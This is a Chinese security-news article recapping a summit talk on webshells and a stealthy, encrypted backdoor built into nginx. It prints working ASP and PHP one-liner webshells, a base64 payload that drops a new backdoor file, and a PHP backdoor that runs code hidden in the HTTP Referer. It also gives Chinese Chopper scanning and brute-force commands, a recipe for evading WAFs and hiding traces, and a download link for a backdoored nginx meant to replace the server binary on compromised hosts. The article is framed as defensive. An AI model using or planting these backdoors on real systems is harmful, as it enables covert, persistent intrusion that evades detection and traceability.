技术上的东西应当谨慎!指尖一直强调指尖安全是互联网安全媒体,那么互联网安全媒体和普通新闻媒体的区别在哪里呢?小编认为互联网安全媒体应该首要强调的是“安全”,其次才是媒体!写此文的目地是为了弥补指尖在SSC安全峰会报道上所出现的错误和遗漏,见此文。感谢 @小刀 指出错误和在撰写此文提供的帮助及耐心解释。这篇文章徘徊了许久,PPT看了好多遍,稿子改了一遍又一遍总怕哪里会出错,其实还有很多地方不到位欢迎指出来,小编随后修改。闲言少叙…
前言:
相信很多人和小编一样对刀哥的演讲议题都不大清楚,主要是不够重视杀伤力!刀哥重新定义了Webshell,议题中还提到了下一代Webshell的讲解都被小编无情的忽略了。还有就是PPT里面涉及到的菜刀不是公开版,外面是没有的(至于为什么,你懂!),网盘下载里的nginx+caidao是演示版,没有完整功能,没有插件、无日志功能。caidao是特制的,只能连接nginx,没有其余脚本的双向加密功能。下面就和小编一起再来回顾一下SSC安全峰会上小刀演讲内容所带来的恐怖杀伤力(用小编的话毫不吹嘘来说就是足以改变当前网络攻防现状!
0x00 概述
- WEBSHELL的历史
- WEBSHELL可以做什么
- webshell与WAF
- WEBSHELL是什么
0x01 Webshell历史
之所以没有删减此段内容是出于某种情怀,小刀也是因为情怀才加上此段内容。想当年国内计算机相关法律并未完善,各种神器和攻击手法层出不穷。指尖认为中国黑客崛起和黑客产业链的兴起和发展主要就在这段时间(1996~2006),缅怀历史的同时指尖也希望国家计算机相关法律越来越完善,尤其针对白帽子渗透测试的权益、第三方漏洞平台的监管等等。(相关事件自行百度,我们不希望看到大量的漏洞和数据流入地下市场成为黑色产业链的推手,造就了一大批类似于大学生被骗身亡事件,当然这只是大众所看到的,其实相对于看不见的还有更多,这只是冰山一角;既然黑客这一特殊群体被从幕后推到了前台那么请给他们一些空间…)
这是一个执行CMD命令的马,功能还比较单一相信也都用过
XiaoLu版的大马,有文件上传、文件删除、管理数据库、文件编辑等功能相比前俩个在功能上已经有所增进
这是@桂林老兵 的站长助手,开发初衷是为了方便站长管理站点的,因为好用被黑客们喜爱常用来当作Webshell,逐渐的演变成了黑客工具,这个工具结合了很多功能已经可以查看磁盘文件、文件编辑、上传、删除、操作数据库和执行CMD等等
PhpSpy2006因为功能强大成了前几年很火的一个大马
海洋顶端2006作者好像是Lcx,小编记得当时可是人人必备,各大黑客论坛所录制的教程基本也都会讲海洋顶端2006,什么功能呀,如何使用呀现在回想起来挺有意思的
这是蓝客的一个PHP版后门,可以看到上面标注着的LanKer一句话后门客户端内部版,不像现在圈内的氛围那个共享精神浓厚的年代不知已经被多少热心的蓝客人共享了出去,基本上人人都有
这是一个现在腾讯安全专家二胡(lake2)的ASPX后门,功能也是相当强大
接下来我们着重介绍一句话后门
一句话木马短小精悍,而且功能强大,隐蔽性非常好,上图的搜索我们可以看见许多网页都被留有一句话后门。
我们先来看几种一句话后门:
<%eval request("c")%>
<%execute request("c")%>
<%execute(request("c"))%>
<%ExecuteGlobal request("sb")%>
%><%Eval(Request(chr(35)))%><%
<%if request ("c")<>""then session("c")=request("c"):end if:if session("c")<>"" then execute session("c")%>
<%eval(Request.Item["c"],"unsafe");%>
无特征隐藏PHP一句话
将$_POST['code']的内容赋值给$_SESSION['theCode'],然后执行$_SESSION['theCode'],亮点是没有特征码。用扫描工具来检查代码的话,是不会报警的,达到目的了。
超级隐蔽的PHP后门:
php $_GET[a]($_GET[b]);?>
仅用GET函数就构成了木马;
利用方法:
?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
执行后当前目录生成c.php一句话木马,当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马,真可谓不可小视,简简单单的一句话,被延伸到这般应用。
层级请求,编码运行PHP后门:
此方法用两个文件实现,文件1
php
//1.php
header('Content-type:text/html;charset=utf-8');
parse_str($_SERVER['HTTP_REFERER'], $a);
if(reset($a) == '10' && count($a) == 9) {
eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));
}
文件2
php
//2.php
header('Content-type:text/html;charset=utf-8');
//要执行的代码
$code = <<<CODE
phpinfo();
CODE;
//进行base64编码
$code = base64_encode($code);
//构造referer字符串
$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";
//后门url
$url = 'http://localhost/test1/1.php';
$ch = curl_init();
$options = array(
CURLOPT_URL => $url,
CURLOPT_HEADER => FALSE,
CURLOPT_RETURNTRANSFER => TRUE,
CURLOPT_REFERER => $referer
);
curl_setopt_array($ch, $options);
echo curl_exec($ch);
通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码,来达到后门的效果,一般waf对referer这些检测要松一点,或者没有检测。用这个思路bypass waf不错。
0x02 一句话可以做什么
经过上面的分析和对比我们已经知道了一句话后门的强悍之处,那么问题来了:一句话木马可以做什么事情呢?如果你也认为一句话后门只是一个Web容器下的脚本后门那就大错特错了(下篇详细介绍)wenshell可以做的事情其实非常多。就拿中国菜刀的一句话来说吧,一句话后门配合菜刀客户端可以实现很多的功能,甚至已经超过了大马:
一.大小
中国菜刀的服务端脚本非常小,是典型的一句话木马,其中aspx服务端软件只有73字节,相比其他传统的webshell可见它的优越性。
二.功能
3.0安全扫描
3.1蜘蛛爬行
中国菜刀自带了网站目录的爬行功能非常好用,用法如下:
{spider} {url:http://www.secfree.com/}
3.2设定爬行范围
{spider} {url:http://www.secfree.com/} {range:secfree.com}
3.3旁站查询
有时候在渗透的时候目标站不存在漏洞,这时候菜刀的旁站查询就派上用场了
查单一IP的绑定域名
{reverse_ip} {url:http://www.secfree.com/}
扫描本C段开放的WEB服务器,并查询绑定域名
{reverse_ip_c} {url:http://www.secfree.com/}
目录扫描
3.4很对时候我们需要找到目标站点的特定目录,往往这个时候我们在找目录爆破工具,而中国菜刀集成了此功能且更加强大是不是很方便呀。
用法:
{crack} {url:http://%s/admin/} {flag:HTTP/1.1 200} {dict:list.txt}
{crack} {url:http://%s/admin/} {flag:!!HTTP/1.1 404} {dict:list.txt}
{crack} {url:http://www.secfree.com/%s/} {flag:successfully} {dict:list.txt}
%s为dict中的一行
flag:后面为返回的数据(含HTTP头部)中的特定关键字,加!!为不包含关键字为TRUE,否则包含关键字为TRUE, list.txt为当前目录下的文件,可设为绝对路径
注意:不要包含太多的行。
这个目录爆破功能,是非常灵活跟强大的,首先,可以根据返回的数据包自定义来判断目录是否存在,然后可以爆破已知目录的上级目录,举个例子,假如你知道你的目录是admin,但是你是不知道这个目录是在哪个目录里面,那么你可以
{crack} {url:http://www.secfree.com/%s/admin/} {flag:HTTP/1.1 200} {dict:list.txt}
3.5文件管理(文件资源管理器)
中国菜刀作为一个远程访问工具(RAT),包含了常见的上传、下载、编辑、删除、复制、重命名以及改变文件的时间戳非常好用,特别是缓存下载目录,并支持离线查看缓存目录
3.6数据库管理(DB客户端)
图形界面,支持MYSQL,MSSQL,ORACLE,INFOMIX,POSTGRESQL,ACCESS, 以及支持ADO方式连接的数据库。
数据库用户 连接数据库的用户名,如root
数据库密码
连接数据库的密码,如123455
ADO连接各种数据库的方式不一样。如MSSQL的配置信息为
Driver={Sql Server};Server=(local);Database=master;Uid=sa;Pwd=123456;Customize:
菜刀自带的Customize.jsp数据库参数填写方法如下(两行):
MSSQL:
com.microsoft.sqlserver.jdbc.SQLServerDriver
jdbc:sqlserver://127.0.0.1:1433;databaseName=test;user=sa;password=123456
MYSQL:
com.mysql.jdbc.Driver
jdbc:mysql://localhost/test?user=root&password=123456
ORACLE:
oracle.jdbc.driver.OracleDriver
jdbc:oracle:thin:user/password@127.0.0.1:1521/test
<%
Set o = Server.CreateObject("ScriptControl")
o.language = "vbscript"
o.addcode(Request("SC"))
o.run "ff",Server,Response,Request,Application,Session,Error
%>
那么,菜刀在配置处填入:
然后以密码caidao来连接即可。默认终端程序路径设置示例:
用户名密码中的特殊字符可用URL编码转换。
3.7 虚拟终端(命令行)
菜刀提供了一个命令行界面,能够通过命令行shell进行操作系统级别的互动,当然继承的权限是WEB应用的权限
3.8 Webshell管理
你是不有一大堆shell每次用的时候才翻TXT,中国菜刀提供了一个管理功能,你可以将shell分类存放,当然都是加密的
3.9浏览器功能
就是一个专用的网页浏览器,
Post浏览/自定义Cookies,/执行自定义脚本/自动刷新页面/同IP网页搜索。
如果有ip.dat库,在状态栏会显示此网站的IP,国家代码。
4.其它
比如闹钟呀,记事本、启动加密呀什么的各位自行研究
三.说说重要的
老版菜刀最忽略的地方莫过于菜刀的插件功能,什么?还有这功能?
1.菜刀很多杀软杀不到...
2.自写脚本(只有Eval端才支持):
ps:之所以大篇幅的介绍中国菜刀是因为后面所介绍的东西与中国菜刀息息相关
通过简单编码后提交用户自己的脚本到服务端执行,实现丰富的功能,也可选择发送到浏览器执行。
如果要写自己的CCC脚本,可以参考一下CCC目录下的示例代码, 相信你也可以写出功能丰富的脚本。(ps:菜刀作者告诉小编本来菜刀是要有个插件社区的,但是考虑到计算机法....此处省略一万字)
哦,只顾着介绍菜刀都忘了说WEBshell可以做什么了...
通过菜刀的插件功能进行SERV-u提权,上面是过程演示
webshell的端口转发,你确定这是webshell?
远程桌面连接
文件管理
PHP端口转发的功能,当然这些在演示版是没有的
webshell仅仅只有这些功能吗?NO!
0x03 Webshell与WAF
我们知道,菜刀的源代码是不公开的,自从停止更新以后,各种 waf 都对其数据包进行了里三层外三层的分析。在那个年代里,想做到过 waf,通常有下面这几种做法:
1. 过 waf 一句话。通过变形,混淆一句话 webshell 逃过检查。(然后就出了对请求进行分析的 waf)
2. 反编译修改发包特征过 waf。这种方法成本相对比较高,你要会逆向呀,然后还有个尴尬的问题就是你能改的地方实在是有限。
3. 中转脚本修改数据包过 waf。这种方法应该是用菜刀过 waf 用的最多而且方便的了。但是你得要开一个中转的 web 服务器
那么新版菜刀强大在哪里呢?我们接着看
这是一个老版菜刀的返回数据,各种WAF随便杀,后面我们继续看新版菜刀的强大功能
提交cmd命令ipconfog的过程
这一类的 waf,太好绕了,可以说,你基本都不用改菜刀的配置就可以做到,比如你把一句话 base64一下,再 base64 一下, 这就绕过去了。如果他查你的 Request, 那你就把
我们接着来看双向加密,它的请求和返回包都是加密的并且可以自定义算法加密,XXF头随机这样就避免了朔源,可以灵活构造参数等
那么什么样的后门功能可以避免WAF拦截呢?
1.无特殊关键词及变量名。
2.灵活用get,post等提交方式。
3.提交数据附加在HTTP头多个字段里,如cookie,UA等。
4.修改X-forwarded-for,UA头等,避免溯源。
5.只提交真正的需求,避免无谓的交互。
6.第三方中转,不从原路返回数据包。
7.双向传输加密,自定义加解密算法。
上图演示了一句话在服务端很容易的绕过,
小编不会告诉你上面的一句话是免杀的,过D盾和安全狗分分钟,不过公开了这么久(9.23~10.3)现在到底能不能过就看运气了...
0x04 Webshell是什么
重点来了:刀哥在重新定义了webshell,webshell不仅仅是我们印象中的那种脚本后门,而且玩法也不仅仅是在演讲时举例的nginx里留后门.下一代webshell不局限于nginx等web服务器,如CDN,路由,数据库,第三方组件都可以留这类的后门。那么这些足矣说明新版菜刀的强大!
那,通过第三章节我们知道了绕过WAF的知识,如果有这么一个后门你想要吗?它跨平台、无日志、超级稳定、无文件、端口复用、无启动项、双向加密、并且有强大的插件功能,最重要的是他能绕过市面上所有的WAF,我们先来看一个演示视频:
新版菜刀连接nginx演示
我们先来看一个新版菜刀双向加密的案例,这是一个GET请求,它读取系统盘c\users\文件,可以看出被加密成了一个字符串隐藏在了Cookie中。那么再来看我们的请求返回的数据明显也是加密.
再来看一个新版菜刀命令执行的案例:它可以随意请求任意站点文件,执行命令隐藏在Cookie中,而返回的信息也是加密,并且可以随意设置识别码。。
那么我们来看一下nginx插入webshell的流程图,首先是Nginx获取HTTP header接下来分析我们后门中的代码是否有指定的命令,如果有就执行该命令并且加密输出;不保存任何日志,这样的话管理员通过日志是查不到的,而命令执行是加密数据包WAF识别不了。如果没有指定命令 的话那么Nginx正常执行数据
总结:
1.这样的后门可以绕过市面上所有的waf,是所有的(ps:市面上所有的WAF都不能查杀的后门危害性有多大可想而知),双向加密是大马做不到的,而网上也还没有这样的webshell能有这样的功能。
2.本地查杀绕过,那么就靠waf来拦截了,当然文件对比,文件夹禁写入什么的查杀也是可以阻止的,但问题是,像这样做的有多少,在大公司里,大型网络里,阻止webshell的,基本上都是靠waf,如果绕过了,那webshell可以做的事就太多了。大型网络里,查杀后门主要是靠ids检测的,流量,行为特征等等
3.其实大家仔细想想,开源软件何其多,不仅仅是web容器。还有很多地方可以留,就连MySQL里也可以留演示的那种后门。可以直接编译在exe主程序里,或者lib库或者tomcat的jar里,其实还有更多留后门的地方...
4.大家也不要觉得鸡肋,觉得权限不够怎么留,都有系统权限的话,哪里还用得着这东西。如果这样想,你们就是没理解@小刀的意思,@小刀所定义的webshell概念,是跟远控来做横向对比的,大家都有系统权限后,留传统远控的优缺点很明显,这类后门,几乎是难于查杀的.
5.跟远控对比起来,免杀,无文件,无启动项,双向加密。如果是完整版的,还有插件功能,这样的后门,如果管理员不去对比md5,基本上发现不了的。如果他觉得系统有问题了,重装,然后还用这个nginx版本,那么权限还有,而后门的通讯隐藏在正常的http通讯里,光是靠抓关键字的话,是抓不出来的,因为全部提交返回的都是加密的,根本没有关键字。假如我在你服务器上多个开源程序里留了这样的后门,互相守护,那几乎就是不死了。菜刀连上去就是admin权限的。所有的waf,IDS都发现不了,拦不了
5.提供下载的那个,虽然是演示用的,其实已经是很好用的后门了提供了win和linux版的nginx后门,假如说你有个肉鸡是用nginx的,那你把我那个nginx.exe替换服务器上的exe ,别的什么都不用动,重启服务,后门就留好了
视频演示中的三无产品下载地址:https://pan.baidu.com/s/1bp9kv6J
为什么叫三无产品呢?请翻阅指尖之前SSC安全峰会的专题文章
结语:
做本篇文章的目地只是抛砖引玉,让waf、ids等成长的更快些。刀哥说的一句话:不说出来不代表没人这样做,我说出来也不是教唆大家怎么怎么样,而是为了安全、为了更好的防御!
我们总是大言不惭的称我们为“互联网安全媒体”,那么我们和媒体的差别在哪里?不是教唆,是因为我们专注,我们想让更多的人了解安全,指尖立志成为真正的安全媒体,感谢阅读,欢迎关注指尖安全.